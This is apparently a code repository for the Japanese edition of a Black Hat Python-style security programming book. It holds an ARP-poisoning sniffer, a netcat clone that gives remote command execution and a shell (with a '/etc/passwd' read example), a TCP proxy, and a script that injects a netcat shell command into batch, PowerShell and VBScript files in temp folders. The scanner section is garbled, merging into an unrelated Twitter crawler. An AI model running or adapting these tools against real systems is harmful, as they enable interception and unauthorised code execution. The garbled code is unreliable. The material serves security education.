--------------------------------------------------------------------------------
1 | # -*- config:utf-8 -*-
2 | __author__ = 'Hiroyuki Kakara'
3 |
4 | from bs4 import BeautifulSoup
5 | from datetime import datetime
6 | import filetype
7 | from io import StringIO
8 | import os
9 | from pdfminer.converter import TextConverter
10 | from pdfminer.layout import LAParams
11 | from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
12 | from pdfminer.pdfpage import PDFPage
13 | import requests
14 | from selenium import webdriver
15 | from selenium.webdriver.chrome import service
16 | from selenium.webdriver.chrome.options import Options
17 |
18 | user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'
19 |
20 | def convert_pdf_to_txt(path):
21 | rsrcmgr = PDFResourceManager()
22 | retstr = StringIO()
23 | codec = 'utf-8'
24 | laparams = LAParams()
25 | laparams.detect_vertical = True
26 | device = TextConverter(rsrcmgr,
27 | retstr, codec=codec, laparams=laparams)
28 | with open(path, 'rb') as fp:
29 | interpreter = PDFPageInterpreter(rsrcmgr, device)
30 | file_str = ''
31 | try:
32 | for page in PDFPage.get_pages(fp, set(), maxpages=0, caching=True, check_extractable=True):
33 | interpreter.process_page(page)
34 | file_str += retstr.getvalue()
35 | except Exception as e:
36 | fp.close()
37 | device.close()
38 | retstr.close()
39 | return -2
40 | device.close()
41 | retstr.close()
42 | return file_str
43 |
44 | class get_from_web:
45 | def get_web_content(self, url):
46 | try:
47 | re = requests.get(url, timeout=(3.0, 7.5))
48 | except Exception as ex:
49 | return str(ex)
50 | saveFileName = str(datetime.now().timestamp())
51 | saveFile = open(saveFileName, 'wb')
52 | saveFile.write(re.content)
53 | saveFile.close()
54 | file_type = filetype.guess(saveFileName)
55 | if file_type is not None and file_type.extension =="pdf":
56 | pdf_text = convert_pdf_to_txt(saveFileName)
57 | os.remove(saveFileName)
58 | return pdf_text
59 | else:
60 | try:
61 | os.remove(saveFileName)
62 | options = Options()
63 | options.add_argument('--headless')
64 | options.add_argument('--ignore-certificate-errors')
65 | options.add_argument('--no-sandbox')
66 | options.add_argument('--headless')
67 | options.add_argument('--disable-dev-shm-usage')
68 | options.add_argument(f'--user-agent={user_agent}')
69 | chrome_service = service.Service(executable_path
70 | ='!!解凍したWebドライバのフルパスを入力!!')
71 | driver = webdriver.Chrome(service=chrome_service, options=options)
72 | driver.set_page_load_timeout(10)
73 | driver.get(url)
74 | result = driver.page_source.encode('utf-8')
75 | driver.quit()
76 | soup=BeautifulSoup(result,"html.parser")
77 | return soup.get_text(" ")
78 | except Exception as e:
79 | print(e)
80 | return -1
--------------------------------------------------------------------------------
/chapter-06/bhp_bing.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from burp import IBurpExtender
3 | from burp import IContextMenuFactory
4 |
5 | from java.net import URL
6 | from java.util import ArrayList
7 | from javax.swing import JMenuItem
8 | from thread import start_new_thread
9 |
10 | import json
11 | import socket
12 | import urllib
13 |
14 | API_KEY = "YOURKEY"
15 | API_HOST = 'api.bing.microsoft.com'
16 |
17 |
18 | class BurpExtender(IBurpExtender, IContextMenuFactory):
19 | def registerExtenderCallbacks(self, callbacks):
20 | self._callbacks = callbacks
21 | self._helpers = callbacks.getHelpers()
22 | self.context = None
23 |
24 | # 作成した拡張機能をセットする
25 | callbacks.setExtensionName("BHP Bing")
26 | callbacks.registerContextMenuFactory(self)
27 | return
28 |
29 | def createMenuItems(self, context_menu):
30 | self.context = context_menu
31 | menu_list = ArrayList()
32 | menu_list.add(JMenuItem('Send to Bing', actionPerformed=self.bing_menu))
33 | return menu_list
34 |
35 | def bing_menu(self, event):
36 | # ユーザーがクリックした部分を取得する
37 | http_traffic = self.context.getSelectedMessages()
38 | print('%d requests highlighted' % len(http_traffic))
39 |
40 | for traffic in http_traffic:
41 | http_service = traffic.getHttpService()
42 | host = http_service.getHost()
43 | print("User selected host: %s" % host)
44 | self.bing_search(host)
45 | return
46 |
47 | def bing_search(self, host):
48 | # IPアドレスかホスト名かを判断する
49 | try:
50 | is_ip = bool(socket.inet_aton(host))
51 | except socket.error:
52 | is_ip = False
53 |
54 | if is_ip:
55 | ip_address = host
56 | domain = False
57 | else:
58 | ip_address = socket.gethostbyname(host)
59 | domain = True
60 | start_new_thread(self.bing_query, ('ip:%s' % ip_address,))
61 | if domain:
62 | start_new_thread(self.bing_query, ('domain:%s' % host,))
63 |
64 | def bing_query(self, bing_query_string):
65 | print('Performing Bing search: %s' % bing_query_string)
66 | http_request = 'GET https://%s/v7.0/search?' % API_HOST
67 | # クエリをエンコードする
68 | http_request += 'q=%s HTTP/1.1\r\n' % urllib.quote(bing_query_string)
69 | http_request += 'Host: %s\r\n' % API_HOST
70 | http_request += 'Connection:close\r\n'
71 | http_request += 'Ocp-Apim-Subscription-Key: %s\r\n' % API_KEY
72 | http_request += 'User-Agent: Black Hat Python\r\n\r\n'
73 |
74 | json_body = self._callbacks.makeHttpRequest(API_HOST, 443, True,
75 | http_request).tostring()
76 | json_body = json_body.split('\r\n\r\n', 1)[1]
77 | try:
78 | response = json.loads(json_body)
79 | except (TypeError, ValueError) as err:
80 | print('No results from Bing: %s' % err)
81 | else:
82 | sites = list()
83 | if response.get('webPages'):
84 | sites = response['webPages']['value']
85 | if len(sites):
86 | for site in sites:
87 | print('*'*100)
88 | print('Name: %s ' % site['name'])
89 | print('URL: %s ' % site['url'])
90 | print('Description: %r' % site['snippet'])
91 | print('*'*100)
92 |
93 | java_url = URL(site['url'])
94 | if not self._callbacks.isInScope(java_url):
95 | print('Adding %s to Burp scope' % site['url'])
96 | self._callbacks.includeInScope(java_url)
97 | else:
98 | print('Empty response from Bing.: %s' % bing_query_string)
99 | return
--------------------------------------------------------------------------------
/chapter-04/arper.py:
--------------------------------------------------------------------------------
1 | from multiprocessing import Process
2 | from scapy.all import (ARP, Ether, conf, get_if_hwaddr,
3 | send, sniff, sndrcv, srp, wrpcap)
4 | import os
5 | import sys
6 | import time
7 |
8 |
9 | def get_mac(targetip):
10 | packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
11 | resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
12 | for _, r in resp:
13 | return r[Ether].src
14 | return None
15 |
16 |
17 | class Arper():
18 | def __init__(self, victim, gateway, interface='en0'):
19 | self.victim = victim
20 | self.victimmac = get_mac(victim)
21 | self.gateway = gateway
22 | self.gatewaymac = get_mac(gateway)
23 | self.interface = interface
24 | conf.iface = interface
25 | conf.verb = 0
26 |
27 | print(f'Initialized {interface}:')
28 | print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
29 | print(f'Victim ({victim}) is at {self.victimmac}.')
30 | print('-'*30)
31 |
32 | def run(self):
33 | self.poison_thread = Process(target=self.poison)
34 | self.poison_thread.start()
35 |
36 | self.sniff_thread = Process(target=self.sniff)
37 | self.sniff_thread.start()
38 |
39 | def poison(self):
40 | poison_victim = ARP()
41 | poison_victim.op = 2
42 | poison_victim.psrc = self.gateway
43 | poison_victim.pdst = self.victim
44 | poison_victim.hwdst = self.victimmac
45 | print(f'ip src: {poison_victim.psrc}')
46 | print(f'ip dst: {poison_victim.pdst}')
47 | print(f'mac dst: {poison_victim.hwdst}')
48 | print(f'mac src: {poison_victim.hwsrc}')
49 | print(poison_victim.summary())
50 | print('-'*30)
51 | poison_gateway = ARP()
52 | poison_gateway.op = 2
53 | poison_gateway.psrc = self.victim
54 | poison_gateway.pdst = self.gateway
55 | poison_gateway.hwdst = self.gatewaymac
56 |
57 | print(f'ip src: {poison_gateway.psrc}')
58 | print(f'ip dst: {poison_gateway.pdst}')
59 | print(f'mac dst: {poison_gateway.hwdst}')
60 | print(f'mac_src: {poison_gateway.hwsrc}')
61 | print(poison_gateway.summary())
62 | print('-'*30)
63 | print(f'Beginning the ARP poison. [CTRL-C to stop]')
64 | while True:
65 | sys.stdout.write('.')
66 | sys.stdout.flush()
67 | try:
68 | send(poison_victim)
69 | send(poison_gateway)
70 | except KeyboardInterrupt:
71 | self.restore()
72 | sys.exit()
73 | else:
74 | time.sleep(2)
75 |
76 | def sniff(self, count=1000):
77 | time.sleep(5)
78 | print(f'Sniffing {count} packets')
79 | bpf_filter = "ip host %s" % self.victim
80 | packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
81 | wrpcap('arper.pcap', packets)
82 | print('Got the packets')
83 | self.restore()
84 | self.poison_thread.terminate()
85 | print('Finished.')
86 |
87 | def restore(self):
88 | print('Restoring ARP tables...')
89 | send(ARP(
90 | op=2,
91 | psrc=self.gateway,
92 | hwsrc=self.gatewaymac,
93 | pdst=self.victim,
94 | hwdst='ff:ff:ff:ff:ff:ff'),
95 | count=5)
96 | send(ARP(
97 | op=2,
98 | psrc=self.victim,
99 | hwsrc=self.victimmac,
100 | pdst=self.gateway,
101 | hwdst='ff:ff:ff:ff:ff:ff'),
102 | count=5)
103 |
104 |
105 | if __name__ == '__main__':
106 | (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
107 | myarp = Arper(victim, gateway, interface)
108 | myarp.run()
109 |
--------------------------------------------------------------------------------
/chapter-10/file_monitor2.py:
--------------------------------------------------------------------------------
1 | import os
2 | import tempfile
3 | import threading
4 | import win32con
5 | import win32file
6 |
7 | FILE_CREATED = 1
8 | FILE_DELETED = 2
9 | FILE_MODIFIED = 3
10 | FILE_RENAMED_FROM = 4
11 | FILE_RENAMED_TO = 5
12 |
13 | FILE_LIST_DIRECTORY = 0x0001
14 | PATHS = ['c:\\Windows\\Temp', tempfile.gettempdir()]
15 |
16 | NETCAT = 'c:\\users\\IEUser\\work\\netcat.exe'
17 | TGT_IP = '192.168.1.208'
18 | CMD = f'""{NETCAT}"" -t {TGT_IP} -p 9999 -l -c '
19 |
20 | FILE_TYPES = {
21 | '.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
22 | '.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n'],
23 | '.vbs': ["\r\n'bhpmarker\r\n", f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],
24 | }
25 |
26 |
27 | def inject_code(full_filename, contents, extension):
28 | if FILE_TYPES[extension][0].strip() in contents:
29 | return
30 |
31 | full_contents = FILE_TYPES[extension][0]
32 | full_contents += FILE_TYPES[extension][1]
33 | full_contents += contents
34 | with open(full_filename, 'w') as f:
35 | f.write(full_contents)
36 | print('\\o/ Injected Code')
37 |
38 |
39 | def monitor(path_to_watch):
40 | h_directory = win32file.CreateFile(
41 | path_to_watch,
42 | FILE_LIST_DIRECTORY,
43 | win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
44 | None,
45 | win32con.OPEN_EXISTING,
46 | win32con.FILE_FLAG_BACKUP_SEMANTICS,
47 | None
48 | )
49 |
50 | while True:
51 | try:
52 | results = win32file.ReadDirectoryChangesW(
53 | h_directory,
54 | 1024,
55 | True,
56 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
57 | win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
58 | win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
59 | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
60 | win32con.FILE_NOTIFY_CHANGE_SECURITY |
61 | win32con.FILE_NOTIFY_CHANGE_SIZE,
62 | None,
63 | None
64 | )
65 | for action, file_name in results:
66 | full_filename = os.path.join(path_to_watch, file_name)
67 | if action == FILE_CREATED:
68 | print(f'[+] Created {full_filename}')
69 |
70 | elif action == FILE_DELETED:
71 | print(f'[-] Deleted {full_filename}')
72 |
73 | elif action == FILE_MODIFIED:
74 | print(f'[*] Modified {full_filename}')
75 | extension = os.path.splitext(full_filename)[1]
76 | if extension in FILE_TYPES:
77 | try:
78 | with open(full_filename) as f:
79 | contents = f.read()
80 | print('[vvv] Dumping contents ... ')
81 | inject_code(full_filename,
82 | contents, extension)
83 | # print(contents)
84 | print('[^^^] Dump complete.')
85 | except Exception as e:
86 | print(f'[!!!] Dump failed. {e}')
87 |
88 | elif action == FILE_RENAMED_FROM:
89 | print(f'[>] Renamed from {full_filename}')
90 | elif action == FILE_RENAMED_TO:
91 | print(f'[<] Renamed to {full_filename}')
92 | else:
93 | print(f'[?] Unknown action on {full_filename}')
94 | except KeyboardInterrupt:
95 | break
96 |
97 | except Exception:
98 | pass
99 |
100 |
101 | if __name__ == '__main__':
102 | for path in PATHS:
103 | monitor_thread = threading.Thread(
104 | target=monitor, args=(path,))
105 | monitor_thread.start()
106 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # サイバーセキュリティプログラミング 第2版
2 |
3 | ---
4 |
5 | 
6 |
7 | ---
8 |
9 | 本リポジトリはオライリー・ジャパン発行書籍『[サイバーセキュリティプログラミング 第2版](https://www.amazon.co.jp/dp/4873119731/)』のサポートサイトです。
10 |
11 | ## サンプルコード
12 |
13 | ### ファイル構成
14 |
15 | |フォルダ名 |説明 |
16 | |:-- |:-- |
17 | |appendix-A |付録Aで使用するソースコード |
18 | |... |... |
19 | |chapter-01 |1章で使用するソースコード |
20 | |chapter-02 |2章で使用するソースコード |
21 | |... |... |
22 | |chapter-11 |11章で使用するソースコード |
23 |
24 | サンプルコードの解説は本書籍をご覧ください。
25 |
26 | ## 正誤表
27 |
28 | 下記の誤りがありました。お詫びして訂正いたします。
29 |
30 | 本ページに掲載されていない誤植など間違いを見つけた方は、japan@oreilly.co.jpまでお知らせください。
31 |
32 | ### 第2刷まで
33 |
34 | #### ■8章 P.173 L.28
35 | **誤**
36 | ```
37 | キー押下やマウスクリックが発生していればそのタイムスタンプを返す関数を呼び出す❸。
38 | ```
39 | **正**
40 | ```
41 | get_keypress()メソッドを呼び出して、マウスの左クリックが発生していればそのタイムスタンプを取得する❸。
42 | ```
43 |
44 | ### 第1刷
45 |
46 | #### ■6章 P.134 L.20
47 | **誤**
48 | ```
49 | else:
50 | sites = list()
51 | if response.get('webPages'):
52 | sites = response['webPages']['value']
53 | if len(sites):
54 | for site in sites:
55 | print('*'*100) # ❺
56 | print('Name: %s ' % site['name'])
57 | print('URL: %s ' % site['url'])
58 | print('Description: %r' % site['snippet'])
59 | print('*'*100)
60 |
61 | java_url = URL(site['url'])
62 | if not self._callbacks.isInScope(java_url): # ❻
63 | print('Adding %s to Burp scope' % site['url'])
64 | self._callbacks.includeInScope(java_url)
65 | else:
66 | print('Empty response from Bing.: %s'
67 | % bing_query_string)
68 | return
69 | ```
70 | **正**
71 | ```
72 | else:
73 | sites = list()
74 | if response.get('webPages'):
75 | sites = response['webPages']['value']
76 | if len(sites):
77 | for site in sites:
78 | print('*'*100) # ❺
79 | print('Name: %s ' % site['name'])
80 | print('URL: %s ' % site['url'])
81 | print('Description: %r' % site['snippet'])
82 | print('*'*100)
83 |
84 | java_url = URL(site['url'])
85 | if not self._callbacks.isInScope(java_url): # ❻
86 | print('Adding %s to Burp scope' % site['url'])
87 | self._callbacks.includeInScope(java_url)
88 | else:
89 | print('Empty response from Bing.: %s'
90 | % bing_query_string)
91 | return
92 | ```
93 |
94 | #### ■付録A P.245 L.27
95 | **誤**
96 | ```
97 | def build_help():
98 | res = ("cmd : Execute Windows commands.\r\n"
99 | "fil : Upload file from victim.\r\n"
100 | "dir : Search for files \
101 | with speficied extension.\r\n"
102 | "scr: Take screenshot.\r\n"
103 | "exit: Terminate this bot.\r\n"
104 | "Just upload a file: Bot will execute \
105 | the uploaded file.\r\n"
106 | "help: Display this help.")
107 | return res
108 | ```
109 | **正**
110 | ```
111 | def build_help():
112 | res = ("cmd : Execute Windows commands.\r\n"
113 | "fil : Upload file from victim.\r\n"
114 | "dir : Search for files \
115 | with specified extension.\r\n"
116 | "scr: Take screenshot.\r\n"
117 | "exit: Terminate this bot.\r\n"
118 | "Just upload a file: Bot will execute \
119 | the uploaded file.\r\n"
120 | "help: Display this help.")
121 | return res
122 | ```
123 |
124 | ## Twitter APIのプラン改訂について
125 | Twitter社のAPIアクセスプランの改訂により、フリーAPIを用いてのツイート取得ができなくなることが[アナウンスされています](https://twitter.com/TwitterDev/status/1641222782594990080)。本書の付録C「Twitter IoCクローラー」に記載した手法を引き続きご利用になりたい方は、「Basic」以上の有償プランへの加入が必要になります。詳しくは[Twitter社のホームページ](https://developer.twitter.com/en/portal/products/basic)をご確認ください。
126 |
--------------------------------------------------------------------------------
/chapter-03/scanner.py:
--------------------------------------------------------------------------------
1 | import ipaddress
2 | import os
3 | import socket
4 | import struct
5 | import sys
6 | import threading
7 | import time
8 |
9 | # スキャン対象のサブネット
10 | SUBNET = '192.168.1.0/24'
11 | # ICMPレスポンスのチェック用マジック文字列
12 | MESSAGE = 'PYTHONRULES!'
13 |
14 | class IP:
15 | def __init__(self, buff=None):
16 | header = struct.unpack('> 4
18 | self.ihl = header[0] & 0xF
19 |
20 | self.tos = header[1]
21 | self.len = header[2]
22 | self.id = header[3]
23 | self.offset = header[4]
24 | self.ttl = header[5]
25 | self.protocol_num = header[6]
26 | self.sum = header[7]
27 | self.src = header[8]
28 | self.dst = header[9]
29 |
30 | # IPアドレスを可読な形で変数に格納
31 | self.src_address = ipaddress.ip_address(self.src)
32 | self.dst_address = ipaddress.ip_address(self.dst)
33 |
34 | # プロトコルの定数値を名称にマッピング
35 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
36 | try:
37 | self.protocol = self.protocol_map[self.protocol_num]
38 | except Exception as e:
39 | print('%s No protocol for %s' % (e, self.protocol_num))
40 | self.protocol = str(self.protocol_num)
41 |
42 | class ICMP:
43 | def __init__(self, buff):
44 | header = struct.unpack('0:
106 | client.chat_postMessage(channel="#general", \
107 | text=f"from https://twitter.com/\
108 | {username}/status/{tweet['id']}")
109 | client.chat_postMessage(channel="#general", \
110 | text=f"```{tweet['text']}```")
111 | client.chat_postMessage(channel="#general", \
112 | text='Hashes: \r\n'+'\r\n'.join(hashes))
113 | client.chat_postMessage(channel="#general", \
114 | text="==============")
115 | client.chat_postMessage(channel="#general", text="Finished.")
116 | except Exception as e:
117 | print(e)
118 |
119 |
--------------------------------------------------------------------------------
/chapter-02/proxy.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import socket
3 | import threading
4 |
5 | HEX_FILTER = ''.join(
6 | [(len(repr(chr(i))) == 3) and chr(i) or '.' for i in range(256)])
7 |
8 |
9 | def hexdump(src, length=16, show=True):
10 | if isinstance(src, bytes):
11 | src = src.decode()
12 | results = list()
13 | for i in range(0, len(src), length):
14 | word = str(src[i:i+length])
15 | printable = word.translate(HEX_FILTER)
16 | hexa = ' '.join([f'{ord(c):02X}' for c in word])
17 | hexwidth = length*3
18 | results.append(f'{i:04x} {hexa:<{hexwidth}} {printable}')
19 | if show:
20 | for line in results:
21 | print(line)
22 | else:
23 | return results
24 |
25 |
26 | def receive_from(connection):
27 | buffer = b""
28 | connection.settimeout(5)
29 | try:
30 | while True:
31 | data = connection.recv(4096)
32 | if not data:
33 | break
34 |
35 | buffer += data
36 | except:
37 | pass
38 |
39 | return buffer
40 |
41 |
42 | def request_handler(buffer):
43 | # パケットの改変をここで行うことができる
44 | return buffer
45 |
46 |
47 | def response_handler(buffer):
48 | # パケットの改変をここで行うことができる
49 | return buffer
50 |
51 |
52 | def proxy_handler(client_socket, remote_host, remote_port, receive_first):
53 | remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
54 | remote_socket.connect((remote_host, remote_port))
55 |
56 | if receive_first:
57 | remote_buffer = receive_from(remote_socket)
58 | if len(remote_buffer):
59 | print("[<==] Received %d bytes from remote." % len(remote_buffer))
60 | hexdump(remote_buffer)
61 |
62 | remote_buffer = response_handler(remote_buffer)
63 | client_socket.send(remote_buffer)
64 | print("[==>] Sent to local.")
65 |
66 | while True:
67 | local_buffer = receive_from(client_socket)
68 | if len(local_buffer):
69 | print("[<==] Received %d bytes from local." % len(local_buffer))
70 | hexdump(local_buffer)
71 |
72 | local_buffer = request_handler(local_buffer)
73 | remote_socket.send(local_buffer)
74 | print("[==>] Sent to remote.")
75 |
76 | remote_buffer = receive_from(remote_socket)
77 | if len(remote_buffer):
78 | print("[<==] Received %d bytes from remote." % len(remote_buffer))
79 | hexdump(remote_buffer)
80 |
81 | remote_buffer = response_handler(remote_buffer)
82 | client_socket.send(remote_buffer)
83 | print("[==>] Sent to local.")
84 |
85 | if not len(local_buffer) or not len(remote_buffer):
86 | client_socket.close()
87 | remote_socket.close()
88 | print("[*] No more data. Closing connections.")
89 | break
90 |
91 |
92 | def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
93 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
94 | try:
95 | server.bind((local_host, local_port))
96 | except Exception as e:
97 | print('problem on bind: %r' % e)
98 | print("[!!] Failed to listen on %s:%d" % (local_host, local_port))
99 | print("[!!] Check for other listening sockets or correct permissions.")
100 | sys.exit(0)
101 |
102 | print("[*] Listening on %s:%d" % (local_host, local_port))
103 | server.listen(5)
104 | while True:
105 | client_socket, addr = server.accept()
106 | # 接続情報の出力
107 | line = "> Received incoming connection from %s:%d" % (addr[0], addr[1])
108 | print(line)
109 | # リモートホストとの接続を行うスレッドの開始
110 | proxy_thread = threading.Thread(
111 | target=proxy_handler,
112 | args=(client_socket, remote_host,
113 | remote_port, receive_first))
114 | proxy_thread.start()
115 |
116 |
117 | def main():
118 | if len(sys.argv[1:]) != 5:
119 | print("Usage: ./proxy.py [localhost] [localport]", end='')
120 | print("[remotehost] [remoteport] [receive_first]")
121 | print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
122 | sys.exit(0)
123 |
124 | local_host = sys.argv[1]
125 | local_port = int(sys.argv[2])
126 |
127 | remote_host = sys.argv[3]
128 | remote_port = int(sys.argv[4])
129 |
130 | receive_first = sys.argv[5]
131 |
132 | if "True" in receive_first:
133 | receive_first = True
134 | else:
135 | receive_first = False
136 |
137 | server_loop(local_host, local_port,
138 | remote_host, remote_port, receive_first)
139 |
140 |
141 | if __name__ == '__main__':
142 | main()
143 |
--------------------------------------------------------------------------------
/chapter-02/netcat.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import locale
3 | import os
4 | import socket
5 | import shlex
6 | import subprocess
7 | import sys
8 | import textwrap
9 | import threading
10 |
11 |
12 | def execute(cmd):
13 | cmd = cmd.strip()
14 | if not cmd:
15 | return
16 |
17 | if os.name == "nt":
18 | shell = True
19 | else:
20 | shell = False
21 |
22 | output = subprocess.check_output(shlex.split(cmd),
23 | stderr=subprocess.STDOUT,
24 | shell=shell)
25 |
26 | if locale.getdefaultlocale() == ('ja_JP', 'cp932'):
27 | return output.decode('cp932')
28 | else:
29 | return output.decode()
30 |
31 |
32 | class NetCat:
33 | def __init__(self, args, buffer=None):
34 | self.args = args
35 | self.buffer = buffer
36 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
37 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
38 |
39 | def run(self):
40 | if self.args.listen:
41 | self.listen()
42 | else:
43 | self.send()
44 |
45 | def send(self):
46 | self.socket.connect((self.args.target, self.args.port))
47 | if self.buffer:
48 | self.socket.send(self.buffer)
49 |
50 | try:
51 | while True:
52 | recv_len = 1
53 | response = ''
54 | while recv_len:
55 | data = self.socket.recv(4096)
56 | recv_len = len(data)
57 | response += data.decode()
58 | if recv_len < 4096:
59 | break
60 | if response:
61 | print(response)
62 | buffer = input('> ')
63 | buffer += '\n'
64 | self.socket.send(buffer.encode())
65 | except KeyboardInterrupt:
66 | print('User terminated.')
67 | self.socket.close()
68 | sys.exit()
69 |
70 | except EOFError as e:
71 | print(e)
72 |
73 | def listen(self):
74 | print('listening')
75 | self.socket.bind((self.args.target, self.args.port))
76 | self.socket.listen(5)
77 | while True:
78 | client_socket, _ = self.socket.accept()
79 | client_thread = threading.Thread(target=self.handle, args=(client_socket,))
80 | client_thread.start()
81 |
82 | def handle(self, client_socket):
83 | if self.args.execute:
84 | output = execute(self.args.execute)
85 | client_socket.send(output.encode())
86 |
87 | elif self.args.upload:
88 | file_buffer = b''
89 | while True:
90 | data = client_socket.recv(4096)
91 | if data:
92 | file_buffer += data
93 | print(len(file_buffer))
94 | else:
95 | break
96 |
97 | with open(self.args.upload, 'wb') as f:
98 | f.write(file_buffer)
99 | message = f'Saved file {self.args.upload}'
100 | client_socket.send(message.encode())
101 |
102 | elif self.args.command:
103 | cmd_buffer = b''
104 | while True:
105 | try:
106 | client_socket.send(b' ')
107 | while '\n' not in cmd_buffer.decode():
108 | cmd_buffer += client_socket.recv(64)
109 | response = execute(cmd_buffer.decode())
110 | if response:
111 | client_socket.send(response.encode())
112 | cmd_buffer = b''
113 | except Exception as e:
114 | print(f'server killed {e}')
115 | self.socket.close()
116 | sys.exit()
117 |
118 |
119 | if __name__ == '__main__':
120 | parser = argparse.ArgumentParser(
121 | description='BHP Net Tool',
122 | formatter_class=argparse.RawDescriptionHelpFormatter,
123 | epilog=textwrap.dedent('''実行例:
124 | # 対話型コマンドシェルの起動
125 | netcat.py -t 192.168.1.108 -p 5555 -l -c
126 | # ファイルのアップロード
127 | netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.whatisup
128 | # コマンドの実行
129 | netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\"
130 | # 通信先サーバーの135番ポートに文字列を送信
131 | echo 'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135
132 | # サーバーに接続
133 | netcat.py -t 192.168.1.108 -p 5555
134 | '''))
135 | parser.add_argument('-c', '--command', action='store_true', help='対話型シェルの初期化')
136 | parser.add_argument('-e', '--execute', help='指定のコマンドの実行')
137 | parser.add_argument('-l', '--listen', action='store_true', help='通信待受モード')
138 | parser.add_argument('-p', '--port', type=int, default=5555, help='ポート番号の指定')
139 | parser.add_argument('-t', '--target', default='192.168.1.203', help='IPアドレスの指定')
140 | parser.add_argument('-u', '--upload', help='ファイルのアップロード')
141 | args = parser.parse_args()
142 | if args.listen:
143 | buffer = ''
144 | else:
145 | buffer = sys.stdin.read()
146 |
147 | nc = NetCat(args, buffer.encode('utf-8'))
148 | nc.run()
149 |
--------------------------------------------------------------------------------
/chapter-11/aslrcheck.py:
--------------------------------------------------------------------------------
1 | # すべてのプロセスを検索し、ASLRの保護を確認する
2 |
3 | from typing import Callable, List
4 |
5 | from volatility3.framework import constants, exceptions, interfaces, renderers
6 | from volatility3.framework.configuration import requirements
7 | from volatility3.framework.renderers import format_hints
8 | from volatility3.framework.symbols import intermed
9 | from volatility3.framework.symbols.windows import extensions
10 | from volatility3.plugins.windows import pslist
11 |
12 | import io
13 | import logging
14 | import pefile
15 |
16 | vollog = logging.getLogger(__name__)
17 |
18 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040
19 | IMAGE_FILE_RELOCS_STRIPPED = 0x0001
20 |
21 |
22 | def check_aslr(pe):
23 | pe.parse_data_directories(
24 | [pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG']])
25 | dynamic = False
26 | stripped = False
27 |
28 | if pe.OPTIONAL_HEADER.DllCharacteristics & IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE:
29 | dynamic = True
30 | if pe.FILE_HEADER.Characteristics & IMAGE_FILE_RELOCS_STRIPPED:
31 | stripped = True
32 | if not dynamic or (dynamic and stripped):
33 | aslr = False
34 | else:
35 | aslr = True
36 | return aslr
37 |
38 |
39 | class AslrCheck(interfaces.plugins.PluginInterface):
40 |
41 | @classmethod
42 | def get_requirements(cls):
43 |
44 | return [
45 | requirements.TranslationLayerRequirement(
46 | name='primary', description='Memory layer for the kernel',
47 | architectures=["Intel32", "Intel64"]),
48 |
49 | requirements.SymbolTableRequirement(
50 | name="nt_symbols", description="Windows kernel symbols"),
51 |
52 | requirements.PluginRequirement(
53 | name='pslist', plugin=pslist.PsList, version=(2, 0, 0)),
54 |
55 | requirements.ListRequirement(name='pid',
56 | element_type=int, description="Process ID to include (all other processes are excluded)",
57 | optional=True),
58 |
59 | ]
60 |
61 | @classmethod
62 | def create_pid_filter(cls, pid_list: List[int] = None) -> Callable[[interfaces.objects.ObjectInterface], bool]:
63 | def filter_func(_): return False
64 | pid_list = pid_list or []
65 | filter_list = [x for x in pid_list if x is not None]
66 | if filter_list:
67 | def filter_func(
68 | x): return x.UniqueProcessId not in filter_list
69 | return filter_func
70 |
71 | def _generator(self, procs):
72 | pe_table_name = intermed.IntermediateSymbolTable.create(
73 | self.context,
74 | self.config_path,
75 | "windows",
76 | "pe",
77 | class_types=extensions.pe.class_types)
78 |
79 | procnames = list()
80 | for proc in procs:
81 | procname = proc.ImageFileName.cast(
82 | "string", max_length=proc.ImageFileName.vol.count, errors='replace')
83 | if procname in procnames:
84 | continue
85 | procnames.append(procname)
86 |
87 | proc_id = "Unknown"
88 | try:
89 | proc_id = proc.UniqueProcessId
90 | proc_layer_name = proc.add_process_layer()
91 | except exceptions.InvalidAddressException as e:
92 | vollog.error(
93 | f"Process {proc_id}: invalid address {e} in layer {e.layer_name}")
94 | continue
95 |
96 | peb = self.context.object(
97 | self.config['nt_symbols'] + constants.BANG + "_PEB",
98 | layer_name=proc_layer_name,
99 | offset=proc.Peb)
100 |
101 | try:
102 | dos_header = self.context.object(
103 | pe_table_name + constants.BANG + "_IMAGE_DOS_HEADER",
104 | offset=peb.ImageBaseAddress,
105 | layer_name=proc_layer_name)
106 | except Exception as e:
107 | continue
108 |
109 | pe_data = io.BytesIO()
110 | for offset, data in dos_header.reconstruct():
111 | pe_data.seek(offset)
112 | pe_data.write(data)
